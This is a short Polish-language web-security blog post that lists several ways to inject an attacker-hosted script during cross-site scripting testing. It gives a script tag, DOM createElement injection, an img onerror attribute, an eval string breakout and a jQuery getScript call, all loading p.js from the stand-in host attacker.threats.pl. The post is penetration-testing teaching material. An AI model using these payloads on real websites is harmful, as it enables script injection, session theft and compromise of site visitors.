Trochę nawiązanie do wcześniejszego wpisu (Jak serwować payload bezpośrednio z Burp?). Generalnie pytanie brzmi - jak wstawić payload.
Jak wstawić skrypt
Nie, to nie będzie wyczerpująca lista wszystkich możliwych sposobów. Chodzi mi tylko o to, by pokazać, że metod jest więcej niż jedna.
Metoda podstawowa - oczywista oczywistość:
<script src="http://attacker.threats.pl/p.js"></script>
Czasami jednak nie ma takiej możliwości, choćby dlatego, że znaki < i > są filtrowane, ale zupełnie przypadkiem jesteśmy w środku bloku JavaScript, wtedy można zrobić coś takiego:
var p = document.createElement('script'); p.src = "http://attacker.threats.pl/p.js"; document.getElementsByTagName("head")[0].appendChild(p);
I tutaj uwaga, ta technika bardzo dobrze zadziała również w kontekście atrybutu HTML, choćby tak:
<img src="x" onerror="var p = document.createElement('script');p.src = 'http://attacker.threats.pl/p.js';document.getElementsByTagName('head')[0].appendChild(p);" />
Oczywiście, można też tak (gdy nasz input wpada jako zawartość stringa w kontekście JavaScript):
var x = 'a' + eval("var p = document.createElement('script');p.src = 'http://attacker.threats.pl/p.js';document.getElementsByTagName('head')[0].appendChild(p);") + 'b';
A jeśli przypadkiem na stronie wykorzystywane jest jQuery:
var a = 'a' + $.getScript('http://attacker.threats.pl/p.js') + 'b'